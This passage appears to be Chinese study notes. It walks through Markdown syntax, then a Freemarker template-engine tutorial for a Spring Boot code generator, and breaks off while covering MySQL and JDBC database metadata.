markdown学习

展示的是二级标题
二级标题三级标题
markdown的段落格式段落字体分割线删除线下划线脚注
MarkDown锚点的使用
MarkDown插入视频
MarkDown列表
列表嵌套
MarkDown区块
区块中使用列表
列表中使用区块
事项清单
MarkDown代码
代码区块
MarkDown链接
高级链接
MarkDown图片
MarkDwon使用表格
表格的对齐方式支持html标签转义

markdown初级

    我展示的是一级标题
    =
    我展示的是二级标题
    -

我展示的是一级标题

我展示的是二级标题

总结：在文字下方一行写1 or n个等于号表示一级标题在文字下方一行写1 or n个减号号表示二级标题

    # 一级标题
    ## 二级标题
    ### 三级标题
    #### 四级标题
    ##### 五级标题
    ###### 六级标题
    #######

一级标题

二级标题

三级标题

四级标题

五级标题

六级标题

####### 不支持七级标题

总结：一共只有六级标题

markdown的段落格式

段落

开启新的段落的两种方式
后面加上两个空格然后回车（enter） or空一行这样的

字体

    *斜体文本*
    _斜体文本_
    **粗体文本**
    __粗体文本__
    ***粗斜体文本***
    ___粗斜体文本___

    ###分割线
    ***

斜体文本
斜体文本
粗体文本
粗体文本
粗斜体文本
粗斜体文本

分割线

    ****

    *     *      *
	***

    - - -

    ----------
    *
    **

*
**
总结：3 or n(n>=3)

删除线

		RUNOOB.COM
		GOOGLE.COM
		~~BAIDU.COM~~

RUNOOB.COM
GOOGLE.COM ~~BAIDU.COM~~

总结：飘号键盘数字1的左边

下划线

	<u>下划线文本</u>

下划线文本

脚注

    创建脚注格式类似这样 [^RUNOOB]。

    [^RUNOOB]: 菜鸟教程 -- 学的不仅是技术，更是梦想！！！

创建脚注格式类似这样 [^RUNOOB]。

[^RUNOOB]: 菜鸟教程 -- 学的不仅是技术，更是梦想！！！

总结：脚注对文本的补充说明。

MarkDown锚点的使用

    MarkDown不支持锚点，所以只能借助html的锚点有两种方式
    <a id="jump1">标题</a>
    <span id="jump2">标题二</span>

    [标题](#jump1)
    [标题二](#jump2)

MarkDown不支持锚点，所以只能借助html的锚点有两种方式
标题
标题二

标题
标题二

总结：标题必须添加a标签或者span标签才行而且必须指定id

MarkDown插入视频

html的Iframe标签，可以参考w3c或者码农教程 兼容性不是很好

    <iframe src="http://www.manongjc.com/" width="400" height="400" scrolling="yes" />

    <iframe src="//player.bilibili.com/player.html?aid=684723947&bvid=BV1vU4y1971F&cid=735989487&page=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"> </iframe>

    <video controls height='100%' width='100%' preload="none" poster="http://media.w3.org/2010/05/sintel/poster.png" src="https://encooacademy.oss-cn-shanghai.aliyuncs.com/activity/OpenBrowser.mp4"></video>

MarkDown列表

Markdown 支持有序列表和无序列表。

无序列表使用星号(*)、加号(+)或是减号(-)作为列表标记，这些标记后面要添加一个空格，然后再填写内容：

* 第一项
* 第二项
* 第三项

+ 第一项
+ 第二项
+ 第三项

- 第一项
- 第二项
- 第三项

* 第一项
* 第二项
* 第三项

第一项
第二项
第三项

第一项
第二项
第三项

第一项
第二项
第三项

第一项
第二项
第三项

有序列表使用数字并加上 . 号来表示，如：

1. 第一项
2. 第二项
3. 第三项

第一项
第二项
第三项

列表嵌套

  1. 第一项：
      - 第一项嵌套的第一个元素
      + 第一项嵌套的第二个元素
      * 第一项嵌套的第三个元素

  2. 第二项：
      - 第二项嵌套的第一个元素
      - 第二项嵌套的第二个元素
  * 要有缩进

第一项：
第一项嵌套的第一个元素
第一项嵌套的第二个元素
第一项嵌套的第三个元素
第二项：
第二项嵌套的第一个元素
第二项嵌套的第二个元素

要有缩进总结：（+），（-），（*），（数字点）后面都要加一个空格，否则无效

MarkDown区块

Markdown 区块引用是在段落开头使用 > 符号，然后后面紧跟一个空格符号：

    > 区块引用
    > 菜鸟教程
    > 学的不仅是技术更是梦想
    另外区块是可以嵌套的，一个 > 符号是最外层，两个 > 符号是第一层嵌套，以此类推：
    > 最外层
    > > 第一层嵌套
    > > > 第二层嵌套
    犯得上发生
    大师傅士大夫
    > > 回到第二层

区块引用菜鸟教程学的不仅是技术更是梦想另外区块是可以嵌套的，一个 > 符号是最外层，两个 > 符号是第一层嵌套，以此类推：最外层
第一层嵌套
第二层嵌套犯得上发生大师傅士大夫回到第二层

区块中使用列表

    > + 第一项   
    > * 第二项

第一项
第二项

列表中使用区块

* 第一项
    > 第一项的内容
* 第二项
    > 第二项的内容

第一项第一项的内容
第二项第二项的内容

事项清单

to-do list - [x] 已完成项目 - [x] 已完成项目1 - [x] 已完成项目2 - [ ] 代办事项 - [ ] 代办事项1 - [ ] 代办事项2 - [ ] 待办事项3

to-do list

[x] 已完成项目
[x] 已完成项目1
[x] 已完成项目2
[ ] 代办事项
[ ] 代办事项1
[ ] 代办事项2
[ ] 待办事项3

MarkDown代码

如果是段落上的一个函数或片段的代码可以用反引号把它包起来(`)，例如： printf() 函数

总结：反引号英文下键盘数字1左边

代码区块

方法一代码区块使用 4 个空格或者两个个制表符（Tab 键）。 class Main{ public static void main(String args[]){ System.out.println("Hello MarkDown"); } }
方法二你也可以用 ``` 包裹一段代码，并指定一种语言（也可以不指定）：

```java

class Main{ public Main(){

} ```

```c++

abc

```

class Main{
    public Main(){

    }
}

abc

总结：方法二结束也要```,更容易区分代码块

MarkDown链接

链接使用方法如下： [链接名称](链接地址)

或者

<链接地址>

例子：百度 or http://www.baidu.com链接[^footnote] [^footnote]: 直接使用链接地址

总结：脚注[^变量名] [^变量名]: 必须以这种格式。

高级链接

我们可以通过变量来设置一个链接，变量赋值在文档末尾进行：

    这个链接用 1 作为网址变量 [Google][1]

    [1]: http://www.google.com/

这个链接用 runoob 作为网址变量 Runoob BaiDu 然后在文档的结尾为变量赋值（网址）

MarkDown图片

Markdown 图片语法格式如下：

     \![alt 属性文本](图片地址)
     \![alt 属性文本](图片地址 "可选标题")

属性文本：图片链接失效时显示的文字。
可选标题：鼠标悬停时，显示的文字。

MarkDwon使用表格

Markdown 制作表格使用 | 来分隔不同的单元格，使用 - 来分隔表头和其他行。

语法格式如下 | 表头 | 表头 | | --- | ---- | | 单元格 | 单元格 | | 单元格 | 单元格 |

表头表头单元格单元格单元格单元格

表格的对齐方式

    | 左对齐 | 右对齐 | 居中 |
    | :----   | ----:   | :---:|
    | 单元格   | 单元格 | 单元格 |

左对齐 右对齐 居中单元格单元格单元格

左对齐 右对齐 居中对齐 单元格单元格单元格单元格单元格单元格

MarkDown高级技巧

支持html标签

不在 Markdown 涵盖范围之内的标签，都可以直接在文档里面用 HTML 撰写。

目前支持的 HTML 元素有：<kbd> 等，如：

    使用 <kbd>Ctrl</kbd>+<kbd>Alt</kbd>+<kbd>Del</kbd> 重启电脑

使用 Ctrl+Alt+Del 重启电脑

转义

Markdown 使用了很多特殊符号来表示特定的意义，如果需要显示特定的符号则需要使用转义字符，Markdown 使用反斜杠转义特殊字符：

文本加粗 ** 正常显示星号 **

Markdown 支持以下这些符号前面加上反斜杠来帮助插入普通的符号：

\ 反斜线
` 反引号
* 星号
_ 下划线
{} 花括号
[] 方括号
() 小括号
# 井字号
+ 加号
- 减号
. 英文句点
! 感叹号

概述

1.1 介绍

在项目开发过程中，有很多业务模块的代码是具有一定规律性的，例如controller控制器、service接口、service实现类、mapper接口、model实体类等等，这部分代码可以使用代码生成器生成，我们就可以将更多的时间放在业务逻辑上。

传统的开发步骤：

创建数据库和表根据表设计实体类编写mapper接口编写service接口和实现类编写controller控制器编写前端页面前后端联调

基于代码生成器开发步骤：

创建数据库和表使用代码生成器生成实体类、mapper、service、controller、前端页面将生成好的代码拷贝到项目中并做调整前后端联调

我们只需要知道数据库和表相关信息，就可以结合模版生成各个模块的代码，减少了很多重复工作，也减少出错概率，提高效率。

1.2 实现思路

（1）需要对数据库表解析获取到元数据，包含表字段名称、字段类型等等

（2）将通用的代码编写成模版文件，部分数据需使用占位符替换

（3）将元数据和模版文件结合，使用一些模版引擎工具（例如freemarker）即可生成源代码文件

2 Freemarker

2.1 介绍

FreeMarker 是一款模板引擎：即一种基于模板和要改变的数据，并用来生成输出文本(HTML网页，电子邮件，配置文件，源代码等)的通用工具。它不是面向最终用户的，而是一个Java类库，是一款程序员可以嵌入他们所开发产品的组件。

模板编写为FreeMarker Template Language (FTL)。它是简单的，专用的语言，在模板中，你可以专注于如何展现数据，而在模板之外可以专注于要展示什么数据。

2.2 应用场景

（1）动态页面

freemarker可以作为springmvc一种视图格式，像jsp一样被浏览器访问。

（2）页面静态化

对于一些内容比较多，更新频率很小，访问又很频繁的页面，可以使用freemarker静态化，减少DB的压力，提高页面打开速度。

（3）代码生成器

根据配置生成页面和代码，减少重复工作，提高开发效率。

2.3 快速入门

（1）创建freemarker-demo模块，并导入相关依赖

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.itheima</groupId>
    <artifactId>freemarker-demo</artifactId>
    <version>1.0-SNAPSHOT</version>

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.3.1.RELEASE</version>
    </parent>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
        </dependency>
        <!-- freemarker -->
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-freemarker</artifactId>
        </dependency>
        <!-- lombok -->
        <dependency>
            <groupId>org.projectlombok</groupId>
            <artifactId>lombok</artifactId>
        </dependency>
    </dependencies>
</project>

（2）application.yml相关配置

server:
  port: 8881 #服务端口
spring:
  application:
    name: freemarker-demo #指定服务名
  freemarker:
    cache: false #关闭模板缓存，方便测试
    settings:
      template_update_delay: 0 #检查模板更新延迟时间，设置为0表示立即检查，如果时间大于0会有缓存不方便进行模板测试
    suffix: .ftl #指定Freemarker模板文件的后缀名

（3）创建启动类

package com.heima.freemarker;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class FreemarkerDemotApplication {
    public static void main(String[] args) {
        SpringApplication.run(FreemarkerDemotApplication.class,args);
    }
}

（4）创建Student模型类

package com.itheima.freemarker.entity;

import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;

import java.util.Date;

@Data
@NoArgsConstructor
@AllArgsConstructor
public class Student {
    private Integer id;
    private String name;//姓名
    private Integer age;//年龄
    private Date birthday;//生日
    private Float money;//钱包
}

（5）创建StudentController

package com.itheima.freemarker.controller;

import com.itheima.freemarker.entity.Student;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;

import java.util.Date;

@Controller
@RequestMapping("student")
public class StudentController {

    @GetMapping("index")
    public String index(Model model){
        //1.纯文本形式的参数
        model.addAttribute("name", "Freemarker");

        //2.实体类相关的参数
        Student student = new Student();
        student.setName("黑马");
        student.setAge(18);
        model.addAttribute("stu", student);

        return "01-index";
    }
}

（6）在resources/templates下创建01-index.ftl模版文件

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>首页</title>
</head>
<body>
<b>普通文本 String 展示：</b><br/>
Hello ${name} <br>

<hr>
<b>对象Student中的数据展示：</b><br/>
姓名：${stu.name}<br/>
年龄：${stu.age}
<hr>
</body>
</html>

（7）测试

浏览器访问 http://localhost:8881/student/index

效果如下

2.4 模版

2.4.1 基础语法种类

（1）注释，即<#-- -->，介于其之间的内容会被freemarker忽略

<#--我是一个freemarker注释-->

（2）插值（Interpolation）：即 ${..} 部分,freemarker会用真实的值代替${..}

Hello ${name}

（3）FTL指令：和HTML标记类似，名字前加#予以区分，Freemarker会解析标签中的表达式或逻辑。

<# >FTL指令</#>

（4）文本，仅文本信息，这些不是freemarker的注释、插值、FTL指令的内容会被freemarker忽略解析，直接输出内容。

<#--freemarker中的普通文本-->
我是一个普通的文本

2.4.2 if指令

if 指令即判断指令，是常用的FTL指令，freemarker在解析时遇到if会进行判断，条件为真则输出if中间的内容，否则跳过内容不再输出。

格式如下

<#if condition>
  ....
<#elseif condition2>
  ...
<#elseif condition3>   
  ...
<#else>
  ...
</#if>

需求：根据年龄输出所处的年龄段

童年：0岁—6岁(周岁，下同) 少年：7岁—17岁青年：18岁—40岁中年：41—65岁老年：66岁以后

实例代码：

（1）在01-index.ftl添加如下代码

<#if stu.age <= 6>
童年
<#elseif stu.age <= 17>
少年
<#elseif stu.age <= 40>   
青年
<#elseif stu.age <= 65>   
中年
<#else>
老年
</#if>

（2）测试

浏览器访问http://localhost:8881/student/index

效果如下

2.4.3 list指令

list指令时一个迭代输出指令，用于迭代输出数据模型中的集合

格式如下

<#list items as item>
    ${item_index + 1}------${item}-----<#if item_has_next>,</#if>
</#list>

迭代集合对象时，包括两个特殊的循环变量：（1）item_index：当前变量的索引值。（2）item_has_next:是否存在下一个对象

item_index 和 item_has_nex 中的item为<#list items as item> 中as后面的临时变量

需求：遍历学生集合，输出序号，学生id，姓名，所处的年龄段，是否最后一条数据

（1）在StudentController中增加方法

@GetMapping("list")
public String list(Model model) throws ParseException {
    List<Student> list = new ArrayList<>();

    list.add(new Student(1001,"张飞",15, null, 1000.11F));
    list.add(new Student(1002,"刘备",28, null, 5000.3F));
    list.add(new Student(1003,"关羽",45, null, 9000.63F));
    list.add(new Student(1004,"诸葛亮",62, null, 10000.99F));
    list.add(new Student(1005,"成吉思汗",75, null, 16000.66F));
    model.addAttribute("stus",list);

    return "02-list";
}

（2）在resources/templates目录下创建02-list.ftl模版

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>列表页面</title>
    <style>
        table{
            border-spacing: 0;/*把单元格间隙设置为0*/
            border-collapse: collapse;/*设置单元格的边框合并为1*/
        }
        td{
            border:1px solid #ACBED1;
            text-align: center;
        }
    </style>
</head>
<body>

<table>
    <tr>
        <td>序号</td>
        <td>id</td>
        <td>姓名</td>
        <td>所处的年龄段</td>
        <td>生日</td>
        <td>钱包</td>
        <td>是否最后一条数据</td>
    </tr>
    <#list stus as stu >
        <tr>
            <td>${stu_index + 1}</td>
            <td>${stu.id}</td>
            <td>${stu.name}</td>
            <td>
                <#if stu.age <= 6>
                    童年
                <#elseif stu.age <= 17>
                    少年
                <#elseif stu.age <= 40>   
                    青年
                <#elseif stu.age <= 65>   
                    中年
                <#else>
                    老年
                </#if>
            </td>
            <td></td>
            <td>${stu.money}</td>
            <td>
                <#if stu_has_next>
                否
                <#else>
                是
                </#if>
            </td>
        </tr>
    </#list>
</table>

<hr>
</body>
</html>

（2）测试

浏览器访问http://localhost:8881/student/list

效果如下

2.4.4 include指令

include指令的作用类似于JSP的包含指令，用于包含指定页，include指令的语法格式如下

<#include filename [options]></#include>

（1）filename：该参数指定被包含的模板文件（2）options：该参数可以省略，指定包含时的选项，包含encoding和parse两个选项，encoding 指定包含页面时所使用的解码集，而parse指定被包含是否作为FTL文件来解析。如果省略了parse选项值，则该选项值默认是true

需求："早上好,尊敬的某某用户!" 这句话在很多页面都有用到，请合理设计！

（1）在resources/templates目录下创建00-head.ftl模版，内容如下

早上好,尊敬的 ${name} 用户!

（2）在resources/templates目录下创建03-include.ftl模版，使用include引入00-head.ftl模版，内容如下

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>详情页</title>
</head>
<body>

<#include "00-head.ftl" />
<br>
欢迎来到黑马程序员。

</body>
</html>

（3）在StudentController中增加方法

@GetMapping("include")
public String include(Model model) throws ParseException {
model.addAttribute("name", "黑马");
return "03-include";
}

（4）测试

浏览器访问http://localhost:8881/student/include

效果如下

2.4.5 assign指令

它用于为该模板页面创建或替换一个顶层变量

<#assign name = "zhangsan" />

2.4.6 运算符

（1）算数运算符

FreeMarker表达式中完全支持算术运算,FreeMarker支持的算术运算符包括:

加法： +
减法： -
乘法： *
除法： /
求模 (求余)： %

（2）比较运算符

=或者==:判断两个值是否相等.
!=:判断两个值是否不等.
>或者gt:判断左边值是否大于右边值
>=或者gte:判断左边值是否大于等于右边值
<或者lt:判断左边值是否小于右边值
<=或者lte:判断左边值是否小于等于右边值

比较运算符注意

=和!=可以用于字符串、数值和日期来比较是否相等
=和!=两边必须是相同类型的值,否则会产生错误
字符串 "x" 、"x " 、"X"比较是不等的.因为FreeMarker是精确比较
其它的运行符可以作用于数字和日期,但不能作用于字符串
使用gt等字母运算符代替>会有更好的效果,因为 FreeMarker会把>解释成FTL标签的结束字符
可以使用括号来避免这种情况,如:<#if (x>y)>

（3）逻辑运算符

逻辑与:&&
逻辑或:||
逻辑非:!

逻辑运算符只能作用于布尔值,否则将产生错误。

2.4.7 空值处理

（1）缺失变量默认值使用 “!”

使用!要以指定一个默认值，当变量为空时显示默认值
例： ${name!''}表示如果name为空显示空字符串。
如果是嵌套对象则建议使用（）括起来
例： ${(stu.bestFriend.name)!''}表示，如果stu或bestFriend或name为空默认显示空字符串。

（2）判断某变量是否存在使用 “??”

用法为:variable??,如果该变量存在,返回true,否则返回false

例：为防止stus为空报错可以加上判断如下：

    <#if stus??>
        <#list stus as stu>
            ......
        </#list>
    </#if>

2.4.8 内建函数

内建函数语法格式： 变量+?+函数名称

（1）求集合的大小

${集合名?size}

（2）日期格式化

显示年月日: ${today?date} 显示时分秒：${today?time} 显示日期+时间：${today?datetime} 自定义格式化： ${today?string("yyyy年MM月")}

（3）内建函数c

model.addAttribute("point", 102920122);

point是数字型，使用${point}会显示这个数字的值，每三位使用逗号分隔。

如果不想显示为每三位分隔的数字，可以使用c函数将数字型转成字符串输出

${point?c}

（4）将json字符串转成对象

一个例子：

其中用到了 assign标签，assign的作用是定义一个变量。

<#assign text="{'bank':'工商银行','account':'10101920201920212'}" />
<#assign data=text?eval />
开户行：${data.bank}  账号：${data.account}

（5）常见内建函数汇总

?html:html字符转义
?cap_first: 字符串的第一个字母变为大写形式
?lower_case :字符串的小写形式
?upper_case :字符串的大写形式
?trim:去掉字符串首尾的空格
?substring(from,to):截字符串  from是第一个字符的开始索引，to最后一个字符之后的位置索引，当to为空时，默认的是字符串的长度
?lenth: 取长度
?size: 序列中元素的个数
?int: 数字的整数部分（比如 -1.9?int 就是 -1）
?replace(param1,param2):字符串替换  param1是匹配的字符串 param2是将匹配的字符替换成指定字符

内建函数测试demo1

（1）在StudentController新增方法：

@GetMapping("innerFunc")
public String testInnerFunc(Model model) {
    //1.1 小强对象模型数据
    Student stu1 = new Student();
    stu1.setName("小强");
    stu1.setAge(18);
    stu1.setMoney(1000.86f);
    stu1.setBirthday(new Date());
    //1.2 小红对象模型数据
    Student stu2 = new Student();
    stu2.setName("小红");
    stu2.setMoney(200.1f);
    stu2.setAge(19);
    //1.3 将两个对象模型数据存放到List集合中
    List<Student> stus = new ArrayList<>();
    stus.add(stu1);
    stus.add(stu2);
    model.addAttribute("stus", stus);
    // 2.1 添加日期
    Date date = new Date();
    model.addAttribute("today", date);
    // 3.1 添加数值
    model.addAttribute("point", 102920122);
    return "04-innerFunc";
}

（2）在resources/templates目录下创建04-innerFunc.ftl模版页面：

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>inner Function</title>
</head>
<body>

    <b>获得集合大小</b><br>

    集合大小：${stus?size}
    <hr>


    <b>获得日期</b><br>

    显示年月日: ${today?date}       <br>

    显示时分秒：${today?time}<br>

    显示日期+时间：${today?datetime}<br>

    自定义格式化：  ${today?string("yyyy年MM月")}<br>

    <hr>

    <b>内建函数C</b><br>
    没有C函数显示的数值：${point} <br>

    有C函数显示的数值：${point?c}

    <hr>

    <b>声明变量assign</b><br>
    <#assign text="{'bank':'工商银行','account':'10101920201920212'}" />
    <#assign data=text?eval />
    开户行：${data.bank}  账号：${data.account}

<hr>
</body>
</html>

（3）测试

浏览器访问http://localhost:8881/student/innerFunc

效果如下

内建函数测试demo2

需求：遍历学生集合，显示集合总条数，id不要逗号隔开，显示学生的生日（只显示年月日），钱包显示整数并显示单位元，用户姓名做脱敏处理（如果是两个字第二个字显示为星号，例如张三显示为张*，如果大于两个字，中间字显示为星号，例如成吉思汗显示为成*汗，诸葛亮显示为诸*亮）

（1）修改StudentController中的list方法，

@GetMapping("list")
public String list(Model model) throws ParseException {
    DateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
    List<Student> list = new ArrayList<>();

    list.add(new Student(1001,"张三",15, dateFormat.parse("2007-10-01 10:00:00"), 1000.11F));
    list.add(new Student(1002,"李四",28, dateFormat.parse("1994-10-01 10:00:00"), 5000.3F));
    list.add(new Student(1003,"王五",45, dateFormat.parse("1977-10-01 10:00:00"), 9000.63F));
    list.add(new Student(1004,"赵六",62, dateFormat.parse("1960-10-01 10:00:00"), 10000.99F));
    list.add(new Student(1005,"孙七",75, dateFormat.parse("1947-10-01 10:00:00"), 16000.66F));
    model.addAttribute("stus",list);

    return "02-list";
}

（2）修改02-list.ftl模版

共${stus?size}条数据：输出总条数

stu.id后面加?c：id不需要逗号分割

stu.birthday后面加?date：生日只输出年月日

stu.money后面加?int：金额取整

姓名需要使用replace和substring函数处理

完整内容如下

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>列表页面</title>
    <style>
        table{
            border-spacing: 0;/*把单元格间隙设置为0*/
            border-collapse: collapse;/*设置单元格的边框合并为1*/
        }
        td{
            border:1px solid #ACBED1;
            text-align: center;
        }
    </style>
</head>
<body>
共${stus?size}条数据
<table>
    <tr>
        <td>序号</td>
        <td>id</td>
        <td>姓名</td>
        <td>所处的年龄段</td>
        <td>生日</td>
        <td>钱包</td>
        <td>是否最后一条数据</td>
    </tr>
    <#list stus as stu >
        <tr>
            <td>${stu_index + 1}</td>
            <td>${stu.id?c}</td>
            <td>
                <#if stu.name?length=2>
                    ${stu.name?replace(stu.name?substring(1), "*")}
                <#else>
                    ${stu.name?replace(stu.name?substring(1, stu.name?length-1), "*")}
                </#if>
            </td>
            <td>
                <#if stu.age <= 6>
                    童年
                <#elseif stu.age <= 17>
                    少年
                <#elseif stu.age <= 40>   
                    青年
                <#elseif stu.age <= 65>   
                    中年
                <#else>
                    老年
                </#if>
            </td>
            <td>${stu.birthday?date}</td>
            <td>${stu.money?int}元</td>
            <td>
                <#if stu_has_next>
                否
                <#else>
                是
                </#if>
            </td>
        </tr>
    </#list>
</table>

<hr>
</body>
</html>

（3）测试

浏览器访问http://localhost:8881/student/list

效果如下

2.4.9 静态化

（1）springboot整合freemarker静态化文件用法

编写springboot测试用例

package com.itheima.test;

import com.itheima.freemarker.FreemarkerDemoApplication;
import com.itheima.freemarker.entity.Student;
import freemarker.template.Configuration;
import freemarker.template.Template;
import freemarker.template.TemplateException;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.test.context.junit4.SpringRunner;

import java.io.FileWriter;
import java.io.IOException;
import java.util.*;

@SpringBootTest(classes = FreemarkerDemoApplication.class)
@RunWith(SpringRunner.class)
public class FreemarkerTest {

    //注入freemarker配置类
    @Autowired
    private Configuration configuration;

    @Test
    public void test() throws IOException, TemplateException {
        Template template = configuration.getTemplate("04-innerFunc.ftl");
        /**
         * 静态化并输出到文件中   参数1：数据模型     参数2：文件输出流
         */
        template.process(getData(), new FileWriter("d:/list.html"));
        /**
         * 静态化并输出到字节输出流中
         */
        //StringWriter out = new StringWriter();
        //template.process(getData(), out);
        //System.out.println(out.toString());
    }


    private Map getData(){

        Map<String,Object> map = new HashMap<>();

        Student stu1 = new Student();
        stu1.setName("小强");
        stu1.setAge(18);
        stu1.setMoney(1000.86f);
        stu1.setBirthday(new Date());

        //小红对象模型数据
        Student stu2 = new Student();
        stu2.setName("小红");
        stu2.setMoney(200.1f);
        stu2.setAge(19);

        //将两个对象模型数据存放到List集合中
        List<Student> stus = new ArrayList<>();
        stus.add(stu1);
        stus.add(stu2);

        //向model中存放List集合数据
        map.put("stus",stus);


        //map数据
        Map<String,Student> stuMap = new HashMap<>();
        stuMap.put("stu1",stu1);
        stuMap.put("stu2",stu2);

        map.put("stuMap",stuMap);
        //日期
        map.put("today",new Date());

        //长数值
        map.put("point",38473897438743L);

        return map;

    }
}

（2）freemarker原生静态化用法

package com.itheima.freemarker.test;

import com.itheima.freemarker.entity.Student;
import freemarker.cache.FileTemplateLoader;
import freemarker.cache.NullCacheStorage;
import freemarker.template.Configuration;
import freemarker.template.Template;
import freemarker.template.TemplateException;
import freemarker.template.TemplateExceptionHandler;

import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.util.*;

public class FreemarkerTest {

    public static void main(String[] args) throws IOException, TemplateException {
        //创建配置类
        Configuration CONFIGURATION = new Configuration(Configuration.VERSION_2_3_22);
        //设置模版加载路径

        //ClassTemplateLoader方式：需要将模版放在FreemarkerTest类所在的包，加载模版时会从该包下加载
        //CONFIGURATION.setTemplateLoader(new ClassTemplateLoader(FreemarkerTest.class,""));

        String path = java.net.URLDecoder.decode(FreemarkerTest.class.getClassLoader().getResource("").getPath(),"utf-8");
        //FileTemplateLoader方式：需要将模版放置在classpath目录下 目录有中文也可以
        CONFIGURATION.setTemplateLoader(new FileTemplateLoader(new File(path)));

        //设置编码
        CONFIGURATION.setDefaultEncoding("UTF-8");
        //设置异常处理器
        CONFIGURATION.setTemplateExceptionHandler(TemplateExceptionHandler.RETHROW_HANDLER);
        //设置缓存方式
        CONFIGURATION.setCacheStorage(NullCacheStorage.INSTANCE);
        //加载模版
        Template template = CONFIGURATION.getTemplate("templates/04-innerFunc.ftl");
        /**
         * 静态化并输出到文件中   参数1：数据模型     参数2：文件输出流
         */
        template.process(getModel(), new FileWriter("d:/list.html"));
        /**
         * 静态化并输出到字节输出流中
         */
        //StringWriter out = new StringWriter();
        //template.process(getData(), out);
        //System.out.println(out.toString());
    }


    public static Map getModel(){
        Map map = new HashMap();
        //1.1 小强对象模型数据
        Student stu1 = new Student();
        stu1.setName("小强");
        stu1.setAge(18);
        stu1.setMoney(1000.86f);
        stu1.setBirthday(new Date());
        //1.2 小红对象模型数据
        Student stu2 = new Student();
        stu2.setName("小红");
        stu2.setMoney(200.1f);
        stu2.setAge(19);
        //1.3 将两个对象模型数据存放到List集合中
        List<Student> stus = new ArrayList<>();
        stus.add(stu1);
        stus.add(stu2);
        map.put("stus", stus);
        // 2.1 添加日期
        Date date = new Date();
        map.put("today", date);
        // 3.1 添加数值
        map.put("point", 102920122);
        return map;
    }
}

3 数据库元数据

3.1 介绍

元数据（Metadata）是描述数据的数据。

数据库元数据（DatabaseMetaData）就是指定义数据库各类对象结构的数据。

在mysql中可以通过show关键字获取相关的元数据

show status; 获取数据库的状态
show databases; 列出所有数据库
show tables; 列出所有表
show create database [数据库名]; 获取数据库的定义
show create table [数据表名]; 获取数据表的定义
show columns from <table_name>; 显示表的结构
show index from <table_name>; 显示表中有关索引和索引列的信息
show character set; 显示可用的字符集以及其默认整理
show collation; 显示每个字符集的整理
show variables; 列出数据库中的参数定义值

也可以从 information_schema库中获取元数据，information_schema数据库是MySQL自带的信息数据库，它提供了访问数据库元数据的方式。存着其他数据库的信息。

select schema_name from information_schema.schemata; 列出所有的库
select table_name FROM information_schema.tables; 列出所有的表

在代码中可以由JDBC的Connection对象通过getMetaData方法获取而来，主要封装了是对数据库本身的一些整体综合信息，例如数据库的产品名称，数据库的版本号，数据库的URL，是否支持事务等等。

DatabaseMetaData的常用方法：

getDatabaseProductName：获取数据库的产品名称
getDatabaseProductName：获取数据库的版本号
getUserName：获取数据库的用户名
getURL：获取数据库连接的URL
getDriverName：获取数据库的驱动名称
driverVersion：获取数据库的驱动版本号
isReadOnly：查看数据库是否只允许读操作
supportsTransactions：查看数据库是否支持事务

3.2 搭建环境

（1）导入mysql依赖

<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>5.1.47</version>
</dependency>

（2）创建测试用例

package com.itheima.test;

import org.junit.Before;
import org.junit.Test;

import java.sql.*;
import java.util.Properties;

public class DataBaseMetaDataTest {
    private Connection conn;

    @Before
    public void init() throws Exception {
        Properties pro = new Properties();
        pro.setProperty("user", "root");
        pro.setProperty("password", "123456");
        pro.put("useInformationSchema", "true");//获取mysql表注释
        //pro.setProperty("remarksReporting","true");//获取oracle表注释
        conn = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/?useUnicode=true&characterEncoding=UTF8", pro);
    }   
}

3.3 综合信息元数据

（1）获取数据库元信息综合信息

@Test
public void testDatabaseMetaData() throws SQLException {
    //获取数据库元数据
    DatabaseMetaData dbMetaData = conn.getMetaData();
    //获取数据库产品名称
    String productName = dbMetaData.getDatabaseProductName();
    System.out.println(productName);
    //获取数据库版本号
    String productVersion = dbMetaData.getDatabaseProductVersion();
    System.out.println(productVersion);
    //获取数据库用户名
    String userName = dbMetaData.getUserName();
    System.out.println(userName);
    //获取数据库连接URL
    String userUrl = dbMetaData.getURL();
    System.out.println(userUrl);
    //获取数据库驱动
    String driverName = dbMetaData.getDriverName();
    System.out.println(driverName);
    //获取数据库驱动版本号
    String driverVersion = dbMetaData.getDriverVersion();
    System.out.println(driverVersion);
    //查看数据库是否允许读操作
    boolean isReadOnly = dbMetaData.isReadOnly();
    System.out.println(isReadOnly);
    //查看数据库是否支持事务操作
    boolean supportsTransactions = dbMetaData.supportsTransactions();
    System.out.println(supportsTransactions);
}

（2）获取数据库列表

@Test
